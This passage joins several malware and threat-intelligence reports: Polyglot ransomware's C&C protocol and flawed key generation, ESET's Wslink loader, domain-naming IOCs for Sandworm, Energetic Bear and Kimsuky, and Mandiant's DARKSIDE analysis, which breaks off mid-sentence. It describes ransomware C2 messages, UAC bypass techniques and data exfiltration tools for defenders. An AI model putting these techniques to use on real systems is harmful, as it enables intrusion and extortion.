except the field “end_time”, which now shows the time encryption was completed. ### Request 3 This is sent to the C&C to request the bitcoin address for payment and the ransom sum to be paid. ```json { "method": "getbtcpay", "uid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" } ``` The C&C replies to this request with the following data: ```json { "code": "0", "text": "OK", "address": "xxxxxxxx", "btc": 0.7, "usd": 319.98 } ``` ### Request 4 This is sent to request a file decryption key from the C&C. ```json { "method": "getkeys", "key": "", "uid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "info": ["DYqbX3m9u0Pk9bE9Rg2Co3empC2M/yrnqgNS3r0AT2vwCw8Zas08bd4BNiO3XuAqi6/5WQ0VBiUkRUToo+YFL/QtPkiRIQ/D9RyKhzpBHlNpf2hP"] } ``` ### Request 5 The Trojan reports that data decryption has been completed and states the number of decrypted files to the C&C. ```json { "method": "setend", "uid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "decrypted": "1" } ``` ## Description of the encryption algorithm During our analysis of the malicious code, it became evident that the Trojan encrypts files in three stages, creating intermediate files: 1. The original file is placed in a password-protected ZIP archive. The archive has the same name as the original file plus the extension “a19”. 2. Polyglot encrypts the password-protected archive with the AES-256-ECB algorithm. The resulting file again uses the name of the original file, but the extension is now changed to “ap19”. 3. The Trojan deletes the original file and the file with the extension “a19”. The extension of the resulting file is changed from “ap19” to that of the original file. A separate AES key is generated for each file, and is nothing more than a ‘shared secret’ generated according to the Diffie-Hellman protocol on an elliptic curve. However, first things first. Before encrypting any files, the Trojan generates two random sequences, each 32 bytes long. The SHA256 digests of each sequence become the private keys s_ec_priv_1 and s_ec_priv_2. Then, the Bernstein elliptic curve (Curve25519) is used to obtain public keys s_ec_pub_1 and s_ec_pub_2 (respectively) from each private key. The Trojan creates the structure decryption_info and writes the following to it: a random sequence used as the basis for creating the key s_ec_priv_1, the string machine_guid taken from the registry, and a few zero bytes. ```c struct decryption_info { char s_rand_str_1[32]; char machine_guid[36]; char zeroes[12]; }; ``` Using the private key s_ec_priv_2 and the cybercriminal’s public key mal_pub_key produces the shared secret mal_shared_secret = ECDH(s_ec_priv_2, mal_pub_key). The structure decryption_info is encrypted with algorithm AES-256-ECB using a key that is the SHA256 digest of this secret. For convenience, we shall call the obtained 80 bytes of the encrypted structure encrypted_info. Only when Polyglot obtains the encrypted_info value does it proceed to generate the session key AES for the file. Using the above method, a new pair of keys is generated, f_priv_key and f_pub_key. Using f_priv_key and s_ec_pub_1 produces the shared secret f_shared_secret = ECDH(f_priv_key, s_ec_pub_1). The SHA256 digest of this secret will be the AES key with which the file is encrypted. To specify that the file has already been encrypted and that it’s possible to decrypt the file, the cybercriminals write the structure file_info to the start of each encrypted file: ```c struct file_info { char label[4] = {'H', 'U', 'I', 0x00}; uint32_t label2 = 1; uint64_t archive_size; char f_pub_key[32]; char s_ec_pub_1[32]; char s_ec_pub_2[32]; char encrypted_info[80]; }; ``` The elliptic curve, the Diffie-Hellman protocol, AES-256, a password-protected archive – it was almost flawless. But not quite, because the creator of Polyglot made a few mistakes during implementation. This gave us the opportunity to help the victims and restore files that had been encrypted by Polyglot. ## Mistakes made by the creators As was mentioned earlier, all the created keys are based on a randomly generated array of characters. Therefore, the strength of the keys is determined by the generator’s strength. And we were surprised to see the implementation of this generator: Let’s convert this function into pseudocode so it’s easier to follow: Please note that when another random byte is selected, the entire result of the function rand() is not used, just the remainder of dividing the result by 32. Only the cybercriminal knows why they decided to make the random string this much weaker – an exhaustive search of the entire set of the possible keys produced by such a pseudo-random number generator will only take a few minutes on a standard PC. Taking advantage of this mistake, we were able to calculate the AES key for an encrypted file. Although there was a password-protected archive below the layer of symmetric encryption, we already knew that the cybercriminal had made another mistake. Let’s look at how the archive key is generated: We can see that the key length is only 4 bytes; moreover, these are specific bytes from the string MachineGuid, the unique ID assigned to the computer by the operating system. Furthermore, a slightly modified MachineGuid string is displayed in the requirements text displayed to the victim; this means that if we know the positions in which the 4 characters of the ZIP archive password are located, we can easily unpack the archive. ## Conclusion Files that are encrypted by this cryptor can be decrypted using Kaspersky Lab’s free anti-cryptor utility RannohDecryptor Version 1.9.3.0. All Kaspersky Lab solutions detect this cryptor malware as: - Trojan-Ransom.Win32.Polyglot - PDM:Trojan.Win32.Generic MD5: c8799816d792e0c35f2649fa565e4ecb – Trojan-Ransom.Win32.Polyglot.a
# Wslink: Unique and Undocumented Malicious Loader that Runs as a Server There are no code, functionality or operational similarities to suggest that this is a tool from a known threat actor. ESET researchers have discovered a unique and previously undescribed loader for Windows binaries that, unlike other such loaders, runs as a server and executes received modules in memory. We have named this new malware Wslink after one of its DLLs. We have seen only a few hits in our telemetry in the past two years, with detections in Central Europe, North America, and the Middle East. The initial compromise vector is not known; most of the samples are packed with MPRESS and some parts of the code are virtualized. Unfortunately, so far we have been unable to obtain any of the modules it is supposed to receive. There are no code, functionality or operational similarities that suggest this is likely to be a tool from a known threat actor group. The following sections contain analysis of the loader and our own implementation of its client, which was initially made to experiment with detection methods. This client’s source code might be of interest to beginners in malware analysis – it shows how one can reuse and interact with existing functions of previously analyzed malware. The very analysis could also serve as an informative resource documenting this threat for blue teamers. ## Technical Analysis Wslink runs as a service and listens on all network interfaces on the port specified in the ServicePort registry value of the service’s Parameters key. The preceding component that registers the Wslink service is not known. Accepting a connection is followed by an RSA handshake with a hardcoded 2048-bit public key to securely exchange both the key and IV to be used for 256-bit AES in CBC mode. The encrypted module is subsequently received with a unique identifier – signature – and an additional key for its decryption. Interestingly, the most recently received encrypted module with its signature is stored globally, making it available to all clients. One can save traffic this way – transmit only the key if the signature of the module to be loaded matches the previous one. As seen, the decrypted module, which is a regular PE file, is loaded into memory using the MemoryModule library and its first export is finally executed. The functions for communication, socket, key and IV are passed in a parameter to the export, enabling the module to exchange messages over the already established connection. ## Implementation of the Client Our own implementation of a Wslink client simply establishes a connection with a modified Wslink server and sends a module that is then decrypted and executed. As our client cannot know the private key matching the public key in any given Wslink server instance, we produced our own key pair and modified the server executable with the public key from that pair and used the private key in our Wslink client implementation. This client enabled us to reproduce Wslink’s communication and search for unique patterns; it additionally confirmed our findings, because we could mimic its behavior. Initially some functions for sending/receiving messages are obtained from the original sample – we can use them right away and do not have to reimplement them later. Subsequently, our client reads the private RSA key to be used from a file and a connection to the specified IP and port is established. It is expected that an instance of Wslink already listens on the supplied address and port. Naturally, its embedded public key must also be replaced with one whose private key is known. Our client and the Wslink server continue by performing the handshake that exchanges the key and IV to be used for AES encryption. This consists of three steps: sending a client hello, receiving the symmetric key with IV, and sending them back to verify successful decryption. From reversing the Wslink binary we learned that the only constraint of the hello message, apart from size 240 bytes, is that the second byte must be zero, so we just set it to all zeroes. The final part is sending the module. It consists of a few simple steps: receiving the signature of the previously loaded module – we decided not to do anything with it in our implementation, as it was not important for us; sending a hardcoded signature of the module; reading the module from a file, encrypting it and sending it; sending the encryption key of the module. The full source code for our client is available in our WslinkClient GitHub repository. Note that the code still requires a significant amount of work to be usable for malicious purposes and creating another loader from scratch would be easier. ## Conclusion Wslink is a simple yet remarkable loader that, unlike those we usually see, runs as a server and executes received modules in memory. Interestingly, the modules reuse the loader’s functions for communication, keys and sockets; hence they do not have to initiate new outbound connections. Wslink additionally features a well-developed cryptographic protocol to protect the exchanged data. ## IoCs ### Samples | SHA-1 | ESET detection name | |-------|---------------------| | 01257C3669179F754489F92947FBE0B57AEAE573 | Win64/TrojanDownloader.Wslink | | E6F36C66729A151F4F60F54012F242736BA24862 | | | 39C4DE564352D7B6390BFD50B28AA9461C93FB32 | | ### MITRE ATT&CK Techniques | Tactic | ID | Name | Description | |--------|----|------|-------------| | Enterprise | T1587.001 | Develop Capabilities: Malware | Wslink is a custom PE loader. | | Execution | T1129 | Shared Modules | Wslink loads and executes DLLs in memory. | | T1569.002 | System Services: Service Execution | Wslink runs as a service. | | Obfuscated Files or Information | T1027.002 | Obfuscated Files or Information: Software Packing | Wslink is packed with MPRESS and its code might be virtualized. | | Command and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography | Wslink encrypts traffic with AES. | | T1573.002 | Encrypted Channel: Asymmetric Cryptography | Wslink exchanges a symmetric key with RSA. |
# Extrapolating Adversary Intent Through Infrastructure ## Introduction Adversary cyber operations require communication to victim networks to deliver effects on objectives. When performed over public networks, competent adversaries rarely communicate directly from their “home” locations but use various proxied infrastructure: servers denoted by IP addresses or identified via domain names. While there are many instances of adversaries using either pseudo-random or meaningless strings for domains, or eschewing these items altogether and simply communicating directly to an IP address, instances of deliberate adversary name choice can be revealing. Looking at domain names as composite objects—consisting of multiple components such as the domain registrar or where a domain resolves—allows us to track adversary activity and infrastructure creation through tendencies and patterns. Just as with items such as authoritative name servers or registration information, the very name chosen for a domain has significance and can identify fundamental adversary behaviors. Adversaries typically leverage themes in domain creation that can indicate aspects of attacker operations. This could include: - Blending in with likely “normal” traffic within targeted environments. - Mirroring services or functions targeted for operations, such as logon portals. - Matching target characteristics to facilitate interaction or lower suspicion when identified. By studying adversary naming choices, we can begin identifying various aspects of attacker operations—from how initial access operations may take place through likely victimology based on observations. In the following three examples, we will explore relatively recent campaigns to identify how adversary naming choice and patterns can be used to gain greater understanding of attacker goals and operations. ## Sandworm and the 2018 Olympics Reviewing the recent US Department of Justice (DOJ) indictment against six members of Russian military intelligence (GRU) Unit 74455, commonly referred to as “Sandworm,” shows several infrastructure items related to attacks on the 2018 Pyeongchang Winter Olympics: - msrole[.]com - jeojang[.]ga The items were used to spoof Microsoft services and the Korean Ministry of Agriculture, Food, and Rural Affairs, respectively. As supported in the indictment and other technical analysis, these items were leveraged as themes for infrastructure used to support phishing activity and credential theft. Further analysis using DomainTools Iris indicates a wider campaign with additional themes. For example, viewing Passive DNS (pDNS) information for msrole[.]com identifies a series of IP addresses used during the run-up to the Olympics. Most significant is the 27.102.102.30 address, hosted in The Republic of Korea (ROK, or South Korea), which hosted msrole[.]com during the period of action prior to the Olympic Destroyer incident during the Pyeongchang opening ceremonies in February 2018. Analyzing this IP address and its history during the time prior to the Olympic Destroyer incident reveals additional details. In addition to mapping the movement of msrole[.]com over time, Passive DNS monitoring via DomainTools Iris reveals additional items neither noted in the US DOJ indictment nor previously disclosed as part of the Olympic Destroyer event: - culturecommunication[.]ga - starcraft2[.]cf - swisstiming[.]cf While “Culture Communication” is somewhat ambiguous, the other items seem appropriately themed for the target event and country: Swiss Timing is the official timekeeper of the Olympic Games (including the 2018 Winter Games) through 2032; while StarCraft remains one of the most popular games in ROK. The names used by the GRU operators in creating infrastructure reveal degrees of intentionality. Actions included operations linked to the official Olympics timekeeper organization—unearthing the specific domain confirms this observation. The StarCraft spoof indicates potentially wider targeting of ROK persons, leveraging the popularity of the game to create a mechanism to further operations against the ROK-hosted games. ### Sandworm IOCs - msrole[.]com - jeonjang[.]ga - culturecommunication[.]ga - templates-library[.]ml - starcraft2[.]cf - appmicrosoft[.]net - swisstiming[.]cf - 27.102.102[.]30 - 141.8.224[.]221 - 200.122.181[.]63 - 107.167.92[.]196 - 195.20.51[.]47 ## Energetic Bear and Airports In October 2020, the US Federal Bureau of Investigation (FBI) and Cybersecurity and Infrastructure Security Agency (CISA) released a joint report on malicious actor targeting of local government and related critical infrastructure entities in the United States. Linked to an entity assessed by US government sources to be Russian state-sponsored and called variously Energetic Bear, Dragonfly, Crouching Yeti, or ALLANITE, the operations focused on spoofing legitimate websites as a mechanism for gathering credentials to enable follow-on intrusions. First emerging in Spring 2020 with a compromise at San Francisco International Airport, this specific campaign appears to have expanded significantly to include a number of other locations and regions within the United States—often focused on airports. Of interest in the Energetic Bear campaign is the shift from credential theft via strategic website compromise to more direct credential phishing. As listed in CISA Alert AA20-269A, the attacker shifted operations from indirect credential capture to more direct forms through website spoofing. This behavior is reflected in domains observed in the campaign: - email.microsoftonline[.]services - columbusairports.microsoftonline[.]host Additionally, CISA notes a pattern of infrastructure using the following domain name pattern associated with Microsoft Azure cloud services: - [City Name].westus2.cloudapp.azure[.]com Reviewing pDNS data via DomainTools Iris shows that these items all link back to similar infrastructure during their time of weaponization. Primary domain themes—spoofing Microsoft—reflect the shift in adversary behavior. When paired with exploit chaining as documented in a related CISA alert, the overall collection of observed behaviors including domain themes demonstrates a significant overall change in Energetic Bear tactics, techniques, and procedures. ### Energetic Bear IOCs - microsoftonline[.]host - microsoftonline[.]services - 213.74.101[.]65 - 138.201.186[.]43 - 213.74.139[.]196 - 5.45.119[.]124 - 212.252.30[.]170 - 193.37.212[.]43 - 5.196.167[.]184 - 146.0.77[.]60 - 37.139.7[.]16 - 51.159.28[.]101 - 149.56.20[.]55 - 108.177.235[.]92 - 91.227.68[.]97 ## Kimsuky Infrastructure and Themes On 27 October 2020, CISA released an extensive report covering activity associated with the Kimsuky actor. Linked to the Democratic People’s Republic of Korea (DPRK, or North Korea), Kimsuky is responsible for multiple campaigns against ROK critical infrastructure entities, Korean peninsula nuclear negotiation entities, and various targets in ROK, Japan, and the United States. In addition to coverage of Kimsuky intrusion techniques and behaviors, the CISA report contains nearly one hundred network indicators in the form of domains and subdomains. Reviewing the naming conventions used identifies three broad themes: First, spoofing popular services, especially in ROK, for infrastructure creation. For example, Kimsuky targets ROK web portal and search engine Naver in multiple instances, such as: - help-navers[.]com - naver.com[.]se - helpnaver[.]com - naver.hol[.]es - naver.co[.]in - naver.koreagov[.]com - naver.com[.]cm - naver.onegov[.]com - naver.com[.]de - naver.unibok[.]kr - naver.com[.]ec - naver[.]cx - naver.com[.]mx - naver.com[.]pl - naverdns[.]co Similar activity surrounds Korean web portal Daum: - daum.net[.]pl - login.daum.kcrct[.]ml - daurn.pe[.]hu - login.daum.net-accounts[.]info - daurn[.]org - login.daum.unikortv[.]com Service spoofing can be used to either mimic pages for exploitation or credential harvesting, or as a means to hide command and control (C2) communications. However, geographic specificity in these particular cases indicates the domains in question are almost certainly limited in application to Korean-language audiences. As such, while these items are interesting in learning about Kimsuky activity, they are likely less significant from a defensive action standpoint for non-Korean entities. Second, Kimsuky features a pattern of persistent service spoofing especially centered around webmail or cloud storage logon pages. This is expressed through a pattern of subdomain creation reflected across multiple domains, all hosted on the same infrastructure during use. A familiar pattern emerges with mail-themed subdomains linked to generic, IT-themed primary domains: - Mail - Mail2 - Drive - Onedrive - Login The thematic basis behind these items implies intentionality as a mechanism for serving a spoofed logon page for credential gathering. Third, we can glimpse potential specific targets of Kimsuky campaigns as reflected in naming patterns and conventions. For example, the following items appear to indicate targeted institutions: - intranet.ohchr.account-protect[.]work - smt.docomo.ne.jp-ssl[.]work - rfanews.sslport[.]work - mail.rfa.sslport[.]work The above items appear to mimic the legitimate domain naming patterns of the Office of the United Nations High Commissioner for Human Rights (ohchr.org), Japanese telecommunication company NTT Docomo (nttdocomo.co.jp), and Radio Free Asia (rfa.org). Along with domains which reference subjects such as Korean unification, these items allow us to expand our view of Kimsuky activities to include “soft” targets in consumer communications, human rights causes, and similar entities beyond classic espionage goals. Analyzing Kimsuky infrastructure activity allows defenders to glimpse not only attacker methodologies but also potential targets—in terms of both targeted services and targeted organizations. With this relatively minimal amount of information, defenders can better understand Kimsuky motivations and appropriately vector resources for defensive and monitoring purposes. ### Kimsuky IOCs - account.daum.unikftc[.]kr - hogy.desk-top[.]work - account.daurn.pe[.]hu - intemet[.]work - amberalexander.ghtdev[.]com - intranet.ohchr.account-protect[.]work - beyondparallel.sslport[.]work - jonga[.]ml - bigfile.pe[.]hu - jp-ssl[.]work - bignaver[.]com - kooo[.]gq - cdaum.pe[.]hu - loadmanager07[.]com - cloudmail[.]cloud - login.daum.kcrct[.]ml - cloudnaver[.]com - login.daum.net-accounts[.]info - coinone.co[.]in - login.daum.unikortv[.]com - com-download[.]work - login.outlook.kcrct[.]ml - com-option[.]work - mail.unifsc[.]com - com-ssl[.]work - mailsnaver[.]com - com-sslnet[.]work - member-authorize[.]com - com-vps[.]work - myaccount.nkaac[.]net - comment.poulsen[.]work - myetherwallet.co[.]in - csnaver[.]com - myetherwallet.com[.]mx - daum.net[.]pl - naver.co[.]in - daurn.pe[.]hu - naver.com[.]cm - daurn[.]org - naver.com[.]de - dept-dr.lab.hol[.]es - naver.com[.]ec - desk-top[.]work - naver.com[.]mx - downloadman06[.]com - naver.com[.]pl - dubai-1[.]com - naver.com[.]se - eastsea.or[.]kr - naver.hol[.]es - gloole[.]net - naver.koreagov[.]com - help-navers[.]com - naver.onegov[.]com - help.unikoreas[.]kr - naver.unibok[.]kr - helpnaver[.]com - naver[.]cx - naver[.]pw - naverdns[.]co - net.tm[.]ro - nid.naver.com[.]se - nid.naver.corper[.]be - nid.naver.unibok[.]kr - nidlogin.naver.corper[.]be - nidnaver[.]email - nidnaver[.]net - ns.onekorea[.]me - org-vip[.]work - preview.manage.org-view[.]work - usernaver[.]com - pro-navor[.]com - view-hanmail[.]net - read-hanmail[.]net - read-naver[.]com - vilene.desk-top[.]work - read.tongilmoney[.]com - vpstop[.]work - resetprofile[.]com - resultview[.]com - riaver[.]site - ww-naver[.]com - sankei.sslport[.]work - 108.62.141[.]33 - 203.249.64[.]219 - 146.112.61[.]107 - 211.38.228[.]101 - 150.95.219[.]213 - 27.102.107[.]221 - 162.244.253[.]107 - 27.102.127[.]46 - 173.234.155[.]126 - 27.255.77[.]110 - 192.185.94[.]206 - 44.227.65[.]245 - 192.203.145[.]170 ## Conclusion Examining the three separate campaigns above, as defenders we are able to infer adversary intentionality and purpose based on little more than analysis of domain naming schema. When combined with further research, such as additional pivots in DomainTools Iris into SSL/TLS certificates, hosting infrastructure, and registration patterns, defenders can leverage this knowledge to gain even greater understanding of attacker operations. Yet even without significant additional information, minimal pivoting unearths items of significance: - Sandworm activity targeting multiple areas of South Korean society and the 2018 Olympics in the run-up to Olympic Destroyer. - Energetic Bear shifting operations from passive credential collection via strategic website compromise to more active credential phishing through spoofed domains. - Kimsuky operations targeting prominent commercial and non-government organizations beyond traditional espionage targets via likely credential capture resources. Armed with this information, defenders can make nuanced, informed decisions about adversary development. With such understanding in hand, defenders can appropriately adjust security controls and visibility to match observed behaviors. While more robust mechanisms for research and analysis exist to allow us to dig even deeper, simple recognition of naming patterns and their implications can prove quite powerful in furthering security operations.
# Shining a Light on DARKSIDE Ransomware Operations **Threat Research** Jordan Nuce, Jeremy Kennelly, Kimberly Goody, Andrew Moore, Alyssa Rahman, Matt Williams, Brendan McKeague, Jared Wilson May 11, 2021 ## Update (May 14) Mandiant has observed multiple actors cite a May 13 announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and CDN servers, and would be closing their service. Decrypters would also be provided for companies who have not paid, possibly to their affiliates to distribute. The post cited law enforcement pressure and pressure from the United States for this decision. We have not independently validated these claims and there is some speculation by other actors that this could be an exit scam. ## Background Since initially surfacing in August 2020, the creators of DARKSIDE ransomware and their affiliates have launched a global crime spree affecting organizations in more than 15 countries and multiple industry verticals. Like many of their peers, these actors conduct multifaceted extortion where data is both exfiltrated and encrypted in place, allowing them to demand payment for unlocking and the non-release of stolen data to exert more pressure on victims. The origins of these incidents are not monolithic. DARKSIDE ransomware operates as a ransomware-as-a-service (RaaS) wherein profit is shared between its owners and partners, or affiliates, who provide access to organizations and deploy the ransomware. Mandiant currently tracks multiple threat clusters that have deployed this ransomware, which is consistent with multiple affiliates using DARKSIDE. These clusters demonstrated varying levels of technical sophistication throughout intrusions. While the threat actors commonly relied on commercially available and legitimate tools to facilitate various stages of their operations, at least one of the threat clusters also employed a now patched zero-day vulnerability. Reporting on DARKSIDE has been available in advance of this blog post to users of Mandiant Advantage Free, a no-cost version of our threat intelligence platform. ## Targeting Mandiant has identified multiple DARKSIDE victims through our incident response engagements and from reports on the DARKSIDE blog. Most of the victim organizations were based in the United States and span across multiple sectors, including financial services, legal, manufacturing, professional services, retail, and technology. The number of publicly named victims on the DARKSIDE blog has increased overall since August 2020, with the exception of a significant dip in the number of victims named during January 2021. It is plausible that the decline in January was due to threat actors using DARKSIDE taking a break during the holiday season. The overall growth in the number of victims demonstrates the increasing use of the DARKSIDE ransomware by multiple affiliates. ### Known DARKSIDE victims (August 2020 to April 2021) Beginning in November 2020, the Russian-speaking actor "darksupp" advertised DARKSIDE RaaS on the Russian-language forums exploit.in and xss.is. In April 2021, darksupp posted an update for the "Darkside 2.0" RaaS that included several new features and a description of the types of partners and services they were currently seeking. Affiliates retain a percentage of the ransom fee from each victim. Based on forum advertisements, the RaaS operators take 25% for ransom fees less than $500,000, but this decreases to 10 percent for ransom fees greater than $5 million. In addition to providing builds of DARKSIDE ransomware, the operators of this service also maintain a blog accessible via TOR. The actors use this site to publicize victims in an attempt to pressure these organizations into paying for the non-release of stolen data. A recent update to their underground forum advertisement also indicates that actors may attempt to DDoS victim organizations. The actor darksupp has stated that affiliates are prohibited from targeting hospitals, schools, universities, non-profit organizations, and public sector entities. This may be an effort by the actor(s) to deter law enforcement action, since targeting of these sectors may invite additional scrutiny. Affiliates are also prohibited from targeting organizations in Commonwealth of Independent States (CIS) nations. ### Advertisement Feature/Update **Date/Version** Nov. 10, 2020 (V1) - Ability to generate builds for both Windows and Linux environments from within the administration panel. - Encrypts files using Salsa20 encryption along with an RSA-1024 public key. - Access to an administrative panel via TOR that can be used by clients to manage Darkside builds, payments, blog posts, and communication with victims. - The admin panel includes a Blog section that allows clients to publish victim information and announcements to the Darkside website for the purposes of shaming victims and coercing them to pay ransom demands. **April 14, 2021 (V2.0)** - Automated test decryption. The process from encryption to withdrawal of money is automated and no longer relies on support. - Available DDoS of targets (Layer 3, Layer 7). - Sought a partner to provide network accesses to them and a person or team with pentesting skills. ## DARKSIDE Affiliates DARKSIDE RaaS affiliates are required to pass an interview after which they are provided access to an administration panel. Within this panel, affiliates can perform various actions such as creating a ransomware build, specifying content for the DARKSIDE blog, managing victims, and contacting support. Mandiant has identified at least five Russian-speaking actors who may currently, or have previously, been DARKSIDE affiliates. Relevant advertisements associated with a portion of these threat actors have been aimed at finding either initial access providers or actors capable of deploying ransomware on accesses already obtained. Some actors claiming to use DARKSIDE have also allegedly partnered with other RaaS affiliate programs, including BABUK and SODINOKIBI (aka REvil). ## Attack Lifecycle Mandiant currently tracks five clusters of threat activity that have involved the deployment of DARKSIDE. These clusters may represent different affiliates of the DARKSIDE RaaS platform. Throughout observed incidents, the threat actor commonly relied on various publicly available and legitimate tools that are commonly used to facilitate various stages of the attack lifecycle in post-exploitation ransomware attacks. ### TTPs seen throughout DARKSIDE ransomware engagements **UNC2628** UNC2628 has been active since at least February 2021. Their intrusions progress relatively quickly with the threat actor typically deploying ransomware in two to three days. We have some evidence that suggests UNC2628 has partnered with other RaaS including SODINOKIBI (REvil) and NETWALKER. In multiple cases we have observed suspicious authentication attempts against corporate VPN infrastructure immediately prior to the start of interactive intrusion operations. The authentication patterns were consistent with a password spraying attack, though available forensic evidence was insufficient to definitively attribute this precursor activity to UNC2628. In cases where evidence was available, the threat actor appeared to obtain initial access through corporate VPN infrastructure using legitimate credentials. UNC2628 has interacted with victim environments using various legitimate accounts, but in multiple cases has also created and used a domain account with the username 'spservice'. Across all known intrusions, UNC2628 has made heavy use of the Cobalt Strike framework and BEACON payloads. UNC2628 has also employed F-Secure Labs' Custom Command and Control (C3) framework, deploying relays configured to proxy C2 communications through the Slack API. Based on this actor's other TTPs they were likely using C3 to obfuscate Cobalt Strike BEACON traffic. The threat actor has exfiltrated data over SFTP using Rclone to systems in cloud hosting environments. Rclone is a command line utility to manage files for cloud storage applications. Notably, the infrastructure used for data exfiltration has been reused across multiple intrusions. In one case, the data exfiltration occurred on the same day that the intrusion began. UNC2628 deploys DARKSIDE ransomware encryptors using PsExec to a list of hosts contained in multiple text files. **UNC2659** UNC2659 has been active since at least January 2021. We have observed the threat actor move through the whole attack lifecycle in under 10 days. UNC2659 is notable given their use of an exploit in the SonicWall SMA100 SSL VPN product, which has since been patched by SonicWall. The threat actor obtained initial access to their victim by exploiting CVE-2021-20016, an exploit in the SonicWall SMA100 SSL VPN product, which has been patched by SonicWall. There is some evidence to suggest the threat actor may have used the vulnerability to disable multi-factor authentication options on the SonicWall VPN, although this has not been confirmed. The threat actor leveraged TeamViewer to establish persistence within the victim environment. Available evidence suggests that the threat actor downloaded TeamViewer directly from the following URL and also browsed for locations from which they could download the AnyDesk utility. The threat actor appeared to download the file rclone.exe directly from rclone.org. The threat actors were seen using rclone to exfiltrate hundreds of gigabytes of data over the SMB protocol to the pCloud cloud-based hosting and storage service. **UNC2465** UNC2465 activity dates back to at least April 2019 and is characterized by their use of similar TTPs to distribute the PowerShell-based .NET backdoor SMOKEDHAM in victim environments. In one case where DARKSIDE was deployed, there were months-long gaps, with only intermittent activity between the time of initial compromise to ransomware deployment. In some cases, this could indicate that initial access was provided by a separate actor. UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments. The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network. Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware. UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note. ## Implications We believe that threat actors have become more proficient at conducting multifaceted extortion operations and that this success has directly contributed to the rapid increase in the number of high-impact ransomware incidents over the past few years. Ransomware operators have incorporated additional extortion tactics designed to increase the likelihood that victims will acquiesce to paying the ransom prices. As one example, in late April 2021, the DARKSIDE operators released a press release stating that they were targeting organizations listed on the NASDAQ and other stock markets. They indicated that they would be willing to give stock traders information about upcoming leaks in order to allow them potential profits due to stock price drops after an announced breach. In another notable example, an attacker was able to obtain the victim's cyber insurance policy and leveraged this information during the ransom negotiation process refusing to lower the ransom amount given their knowledge of the policy limits. This reinforces that during the post-exploitation phase of ransomware incidents, threat actors can engage in internal reconnaissance and obtain data to increase their negotiating power. We expect that the extortion tactics that threat actors use to pressure victims will continue to evolve throughout 2021. Based on the evidence that DARKSIDE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat. ## Acknowledgements Beyond the comparatively small number of people who are listed as authors on this report are hundreds of consultants, analysts and reverse-engineers who tirelessly put in the work needed to respond to intrusions at breakneck pace and still maintain unbelievably high analytical standards. This larger group has set the foundation for all of our work, but a smaller group of people contributed more directly to producing this report and we would like to thank them by name. We would like to specifically thank Bryce Abdo and Matthew Dunwoody from our Advanced Practices team and Jay Smith from FLARE, all of whom provided analytical support and technical review. Notable support was also provided by Ioana Teaca, and Muhammadumer Khan. ## Appendix A: DARKSIDE Ransomware Analysis DARKSIDE is a ransomware written in C that may be configured to encrypt files on fixed and removable disks as well as network shares. DARKSIDE RaaS affiliates are given access to an administration panel on which they create builds for specific victims. The panel allows some degree of customization for each ransomware build such as choosing the encryption mode and whether local disks and network shares should be encrypted. The following malware analysis is based on the file MD5: 1a700f845849e573ab3148daef1a3b0b. A more recently analyzed DARKSIDE sample had the following notable differences: - The option for beaconing to a C2 server was disabled and the configuration entry that would have contained a C2 server was removed. - Included a persistence mechanism in which the malware creates and launches itself as a service. - Contained a set of hard-coded victim credentials that were used to attempt to logon as a local user. ### Host-Based Indicators **Persistence Mechanism** Early versions of the malware did not contain a persistence mechanism. An external tool or installer was required if the attacker desired persistence. A DARKSIDE version observed in May 2021 implement a persistence mechanism through which the malware creates and launches itself as a service with a service name and description named using eight pseudo-randomly defined lowercase hexadecimal characters (e.g., ".e98fc8f7") that are also appended by the malware to various other artifacts it created. **Filesystem Artifacts** - Created Files - %CD%\LOG<ransom_ext>.TXT - README<ransom_ext>.TXT - <original_filename_plus_ext><ransom_ext> - May version: %PROGRAMDATA%\<ransom_ext>.ico **Registry Artifacts** The DARKSIDE version observed in May sets the following registry key: HKCR\<ransom_ext>\DefaultIcon\<ransom_ext>\DefaultIcon=%PROGRAMDATA%\<ransom_ext>.ico ### Configuration The malware initializes a 0x100-byte keystream used to decrypt strings and configuration data. Strings are decrypted as needed and overwritten with NULL bytes after use. The malware's configuration size is 0xBE9 bytes. The first byte from the configuration indicates the encryption mode. This sample is configured to encrypt using FAST mode. Supported values are as follows: - 1: FULL - 2: FAST - Other values: AUTO The individual bytes from offset 0x02 to offset 0x15 dictate the malware's behavior. The malware takes the actions listed in the following table based on these values. | Offset | Enabled | Description | |--------|---------|-------------| | 0x01 | Yes | Unknown | | 0x02 | Yes | Encrypt local disks | | 0x03 | Yes | Encrypt network shares | | 0x04 | No | Perform language check | | 0x05 | Yes | Delete volume shadow copies | | 0x06 | Yes | Empty Recycle Bins | | 0x07 | No | Self-delete | | 0x08 | Yes | Perform UAC bypass if necessary | | 0x09 | Yes | Adjust token privileges | | 0x0A | Yes | Logging | | 0x0B | Yes | Terminate processes | | 0x0C | Yes | Stop services | | 0x0D | Yes | Drop ransom note | | 0x0E | Yes | Create a mutex | ### UAC Bypass If the malware does not have elevated privileges, it attempts to perform one of two User Account Control (UAC) bypasses based on the operating system (OS) version. If the OS is older than Windows 10, the malware uses a documented slui.exe file handler hijack technique. This involves setting the registry value HKCU\Software\Classes\exefile\shell\open\command\Default to the malware path and executing slui.exe using the verb "runas." If the OS version is Windows 10 or newer, the malware attempts a UAC bypass that uses the CMSTPLUA COM interface. ### Encryption Setup The malware generates a pseudo-random file extension based on a MAC address on the system. In a DARKSIDE version observed in May 2021, the file extension is generated using a MachineGuid registry value as a seed rather than the MAC address. The file extension consists of eight lowercase hexadecimal characters (e.g., ".e98fc8f7") and is referred to as <ransom_ext>. The malware supports the command line argument "-path," which allows an attacker to specify a directory to target for encryption. ### Anti-Recovery Techniques The malware locates and empties Recycle Bins on the system. If the process is running under 